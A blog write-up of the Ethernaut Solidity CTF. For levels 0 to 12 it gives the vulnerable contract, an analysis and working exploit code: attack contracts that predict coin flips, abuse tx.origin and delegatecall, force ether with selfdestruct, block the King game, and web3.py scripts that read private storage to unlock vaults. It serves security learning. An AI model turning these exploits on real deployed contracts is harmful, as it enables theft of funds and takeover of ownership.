tohka

tohka

Hack for fun!
twitter
github

Ethernaut Challenge Notes

This series is a record of challenges from the OpenZeppelin Ethernaut CTF, aimed at learning Solidity security while playing.

#0 Hello Ethernaut#

1. Set up MetaMask#

Install the MetaMask extension, briefly.

2. Open the browser's console#

Enter player to view your wallet address.

image

3. Use the console helpers#

Call getBalance(player) for interaction.

image

4. The ethernaut contract#

Enter ethernaut to view contract information.

image

5. Interact with the ABI#

The contract's ABI interface exposes the contract's public methods, allowing for simple interactions like ethernaut.owner().

image

6. Get test ether#

Get ETH from the faucet.

https://faucet.rinkeby.io/

https://faucets.chain.link/rinkeby

https://faucet.paradigm.xyz/

7. Getting a level instance#

Generate a contract instance.

image

8. Inspecting the contract#

image

9. Interact with the contract to complete the level#

Follow the instructions for layered calls.

image

image

image

image

image

Win!

image

Attached is the complete contract code provided after clearing the level.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  constructor(string memory _password) public {
    password = _password;
  }

  function info() public pure returns (string memory) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string memory) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string memory param) public pure returns (string memory) {
    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string memory) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string memory) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string memory passkey) public {
    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

#1 Fallback#

Contract code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Winning Conditions

  1. Gain ownership of this contract.
  2. Reduce its balance to 0.

This may help

  • How to send ether by interacting with ABI.
  • How to send ether outside of ABI.
  • Convert wei/ether units (see help() command).
  • Fallback method.

First, observe the contract. To gain ownership, you need to make owner=msg.sender.

Aside from the constructor, only two entry points satisfy this.

image

image

Next, analyze the possibilities of triggering.

In contribute(), msg.sender needs to have a contribution greater than owner, and owner's contribution is 1000eth, so it's difficult to utilize this function.

Now, let's look at the receive() function, which only requires triggering this function and ensuring that msg.value and msg.sender's contribution is greater than 0.

The triggering of receive() and fallback can be represented in the following diagram.

Trigger fallback() or receive()?
           Receive ETH
              |
         Is msg.data empty?
            /  \
          Yes    No
          /      \
Does receive() exist?   fallback()
        / \
       Yes  No
      /     \
receive()   fallback()

So the overall attack strategy is as follows

  1. First call contribute() while setting msg.value < 0.001 eth.

  2. Call transfer, setting msg.value = 0.0001 (just greater than 0) to trigger receive().

  3. Call withdraw(), emptying the contract.

Attack Process

image

image

image

Then check.

image

#2 Fallout#

Contract code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  // constructor 
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Winning Conditions

  1. Gain ownership of the contract.

Contract Analysis

This contract implements a deposit, withdrawal, and balance inquiry function.

Like the previous question, to gain ownership, we need to focus on the owner = msg.sender code.

Upon careful comparison, we find that Fal1out() and Fallout differ by one character, so this contract has no constructor, and Fal1out() merely exists as a public method. Therefore, we just need to call this function.

Attack Process

By checking the owner address, we can confirm our analysis.

image

Call and complete the attack to gain ownership of the contract.

image

Win!

image

#3 Coin Flip#

Contract code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Winning Conditions

  1. consecutiveWins greater than 10.

Contract Analysis

The value of FACTOR is essentially 2^255, allowing the block's hash to randomly distribute to true/false.

The most crucial point in attacking this contract is knowing its blockValue.

Since we can only obtain the current block through block.number, and transactions in the Ethereum network are continuously ongoing, the next transaction's block will likely change.

However, if we can control the time difference between the attack contract and the attacked contract's transactions to be minimal, we can ensure that both transactions belong to the same block.

By first calculating the current blockValue and coinFlip in the attack contract, we can then call the attacked contract's flip(), ensuring that each guess is correct. After calling it ten times, we can make consecutiveWins greater than 10.

Exp

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '../SafeMath.sol';

// Utilize the feature of multiple transactions in the same block
contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


contract Attack {
    using SafeMath for uint256;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip hackFilp;
    
    function Target(address target) public {
        hackFilp = CoinFlip(target);
    }

    function flip() public {
        uint blockValue = uint256(blockhash(block.number.sub(1)));

        if (lastHash == blockValue){
            revert();
        }

        lastHash = blockValue;

        uint coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        if(side == true){
            // Call the attacked contract's flip function flip(true);
            hackFilp.flip(true);
        }else{
            // Call the attacked contract's flip function flip(false);
            hackFilp.flip(false);
        }
    }
}

Attack Process

Get the attacked contract address.

image

Deploy the attack contract and initialize Target.

image

After calling flip() once.

image

Call it continuously 10 times.

image

Win!!

image

#4 Telephone#

Exam Content: tx.origin

Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Conditions for Passing#

  1. Gain ownership of the contract.

Contract Analysis#

The entire contract code is short, and a concept we haven't encountered before, tx.origin, appears. Its value traverses the entire call stack and returns the address of the account that initially sent the call (or transaction).

Thus, we just need to ensure that the address calling changeOwner is not the same as the msg.sender of the attacked contract.

We can achieve this by deploying an attack contract to achieve indirect calling.

Exp#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Attack {
    Telephone hackTelphone;

    function Init(address _address) public{
        hackTelphone = Telephone(_address);
    }

    function attack()  public {
        hackTelphone.changeOwner(msg.sender);
    }
}

Attack Process#

Get the attacked contract's address.

image

Deploy the attack contract and call attack().

image

When checking contract.owner, we find it has changed.

image

image

Win!!

image

#5 Token#

Exam Content: External Accounts and Contract Accounts, Integer Overflow

Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Conditions for Passing#

  1. Increase the number of tokens in hand.

Contract Analysis#

This is still an issue of external accounts and contract accounts; an external account can create multiple contract accounts.

Here is an explanation from CTFWIKI.

image

Here we can call to transfer the initial token from the contract account to the external account.

Exp#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {  // Difference between external accounts and contract accounts

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract Attack {
    Token hackToken;

    function init(address _addr) public {
        hackToken = Token(_addr);
    }

    function hack() public {
        hackToken.transfer(msg.sender,5);
    }

}

Attack Process#

Get the attacked contract address.

image

Deploy the attack contract.

image

Find that the external account's token quantity has changed.

image

Win!!

image

Side Note - Integer Overflow Vulnerability#

It is worth noting that here the version is less than 0.8.0, and if the safeMath library is not used, there will be an integer overflow vulnerability.

We can modify the attack code to the following form.

image

It can be found that we can bypass this check, i.e., 20-21=2^256-1.

image

image

#6 Delegation#

Exam Content: Delegation Attack

Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Conditions for Passing#

  • Change the owner of the Delegation contract to the Attacker's.

Pre-Knowledge (Three Ways of Contract Calling)#

_Name(_Address).f() Form#

Typically, a reference to a contract is created using the contract's address and contract code (ABI interface): _Name(_Address), where _Name is the contract name, and _Address is the contract address. Then, the contract's reference is used to call its function: _Name(_Address).f(), where f() is the function to be called.

Call#

call is a low-level member function of the address type that is used to interact with other contracts. Its return value is (bool, data), corresponding to whether the call was successful and the return value of the target function.

Usage Rules for Call:

Target contract address.call{value: amount to send, gas: gas amount}(abi.encodeWithSignature("function signature", comma-separated specific parameters))

Delegatecall#

The usage rules for Delegatecall are similar to Call, but a significant difference is the execution context.

Execution Context of Call

Call Context

Execution Context of DelegateCall

Delegatecall Context

Contract Analysis#

The question provides two contracts: one is the Delegate contract, which is the contract to be executed, and the other is the Delegation contract, which delegates execution to another.

First, let's analyze the Delegate contract. The content of this contract is simple, with the only notable function being pwn(), which can change the owner and is the function to prioritize.

Next, let's look at the Delegation contract, which performs a DelegateCall operation. We need to trigger this, specifically the fallback() function. To trigger the fallback() function, we need to call a non-existent function, which can be replaced by the pwn() function to complete the entire trigger chain.

image

Exp#

from web3 import Web3

rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0x0f5343F75EFF3d28F32954E2497F3f3Ddadb9837'
vul_abi = [
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "_owner",
				"type": "address"
			}
		],
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"inputs": [],
		"name": "owner",
		"outputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "pwn",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)

TransactionData ={
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'to':vul_addr,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei'),
    'data':w3.keccak(text="pwn()")[0:10]
}

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

Reference: WTF Academy

#7 Force#

Exam Content: Selfdestruct Attack

Contract Code#

The contract has no content!

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Conditions for Passing#

  • Make the contract's balance > 0.

Pre-Knowledge#

Regarding Selfdestruct, you can see SlowMist's article, I won't elaborate here.

Contract Analysis#

In short, use a contract's Selfdestruct to force a transfer.

EXP#

// SPDX-License-Identifier: MIT

pragma solidity ^0.4.0-0.8.15;

contract Attack {

  constructor() public payable{} // Allow receiving ETH upon deployment to later transfer to the attacked contract via Selfdestruct.

  function attack(address addr) public {
  	selfdestruct(addr);
  }
}

Win!

image

#8 Vault#

Exam Content: Access Private Data

Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Conditions for Passing#

  • Set locked = false.

Pre-Knowledge#

For accessing private data, you can see SlowMist's article, I won't elaborate here.

Contract Analysis#

In short, access the data located in the password slot.

EXP#

from web3 import Web3

rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0x2A6A452B0E0aB8F4dD9d6C210853D21B389684E7'
vul_abi = [
    {
        "inputs": [
            {
                "internalType": "bytes32[3]",
                "name": "_data",
                "type": "bytes32[3]"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "ID",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xb3cea217"
    },
    {
        "inputs": [],
        "name": "locked",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xcf309012"
    },
    {
        "inputs": [
            {
                "internalType": "bytes32",
                "name": "_password",
                "type": "bytes32"
            }
        ],
        "name": "unlock",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0xe1afb08c"
    }
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)

slot1 = w3.eth.get_storage_at(vul_addr,0x1)
password=w3.toHex(slot1)

TransactionData ={
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'to':vul_addr,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei'),
    'data':w3.keccak(text="unlock(bytes32)")[0:10] + password[2:]
}

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

Win!

image

#9 King#

Exam Content: Conditions for Contract Accounts to Receive Ether

Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

Conditions for Passing#

  • Break the contract so that the king's address cannot be changed.

Pre-Knowledge#

For a contract account to receive ETH, it must have a defined and implemented receive or fallback function. If a newly created contract account wants to receive ETH from the start, the payable attribute must be added to the constructor.

Contract Analysis#

This contract is essentially a game of hot potato; the last person to send ETH to the contract receives the previous person's ETH. We need to break this contract's functionality, ensuring that the King's address cannot change. To do this, we need to send more ETH than the prize amount and ensure that the sending account cannot receive transfers from the transfer function.

Attack Process#

Get the prize amount.

await contract.prize().then(v => v.toString())

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

contract Attacker {
    constructor(address payable _to) payable {
        (bool success, ) = address(_to).call{value: msg.value}("");  // msg.value should > 1000000000000000
        require(success, "failed");
    }
}

Win!

image

#11 Elevator#

Keyword: Interface

Smart Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Passing Conditions#

  • Make the value of top variable true.

Pre-Knowledge#

The concept of Interface is similar to that of other languages, so I won't go into it here.

For the following contract, if the contract address addr(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D) has the implementation of the Interface-related function, when the function defined in the Interface is called by the variable BAYC exemplified by the interface, the interaction will follow the logic of the implementation in the above contract address.

contract interactBAYC {
    // Create interface contract variables using BAYC addresses (ETH Main NetWork)
    IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);

    // Call BAYC's balanceOf() through the interface to query the position
    function balanceOfBAYC(address owner) external view returns (uint256 balance){
        return BAYC.balanceOf(owner);
    }

    // Call BAYC's safeTransferFrom() safe transfer via the interface
    function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{
        BAYC.safeTransferFrom(from, to, tokenId);
    }
}

This also creates a point of insecurity where we must keep track of whether there are risky implementations during the instantiation of interface contract variables.

And we can also define our own interface to an already existing contract and then instantiate it to call it, which also belongs to a function call approach.

Smart Contract Analysis#

Seeing the contract in this question, we can see that according to the logic of goTo, top can never be true. If we write an attack contract and implement the isLastFloor function in the attack contract, so that the call to building.isLastFloor returns false at the beginning and true at the second time, we can meet the requirement of false. returns true, it will be satisfied.。

EXP#

interface ElevatorInterface{
    function goTo(uint) external;
}

contract Attack {
    bool  public top = false;

    function isLastFloor(uint) external returns (bool){
        bool first = top;
        top = !top;
        return first;
    }

    function hack(uint addr) public {
        ElevatorInterface(addr).goTo(0);
    }
}

#12 Privacy#

Keyword: Private Data Access

Contract Code#

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Conditions for passing the level#

  • Make locked = false.

Pre-knowledge#

For access to private data you can see SlowMist's article,I won't go into details here.

Smart Contract Analysis#

Just get bytes16(data[2]).

EXP#

from web3 import Web3

rpc_url = ''

w3 = Web3(Web3.HTTPProvider(rpc_url))

assert w3.isConnected()

private_key = ''
account = w3.eth.account.privateKeyToAccount(private_key) 

vul_addr = '0xf487e9888E58bBA039dD51ae9AEBB28F04fAfBFB'
vul_abi = [
    {
        "inputs": [
            {
                "internalType": "bytes32[3]",
                "name": "_data",
                "type": "bytes32[3]"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "ID",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xb3cea217"
    },
    {
        "inputs": [],
        "name": "locked",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function",
        "constant": "true",
        "signature": "0xcf309012"
    },
    {
        "inputs": [
            {
                "internalType": "bytes16",
                "name": "_key",
                "type": "bytes16"
            }
        ],
        "name": "unlock",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
        "signature": "0xe1afb08c"
    }
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)


slot5 = w3.eth.get_storage_at(vul_addr,0x5)

_key = int(w3.toHex(slot5)[:34],16)


TransactionData = vul_contarct.functions['unlock'](w3.toBytes(_key)).buildTransaction({
    'chainId': w3.eth.chain_id,
    'from': account.address,
    'gas': 3000000,
    'gasPrice': w3.toWei(7000000000,'wei'),
    'nonce': w3.eth.getTransactionCount(account.address),
    'value': w3.toWei(0,'wei')
})

signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.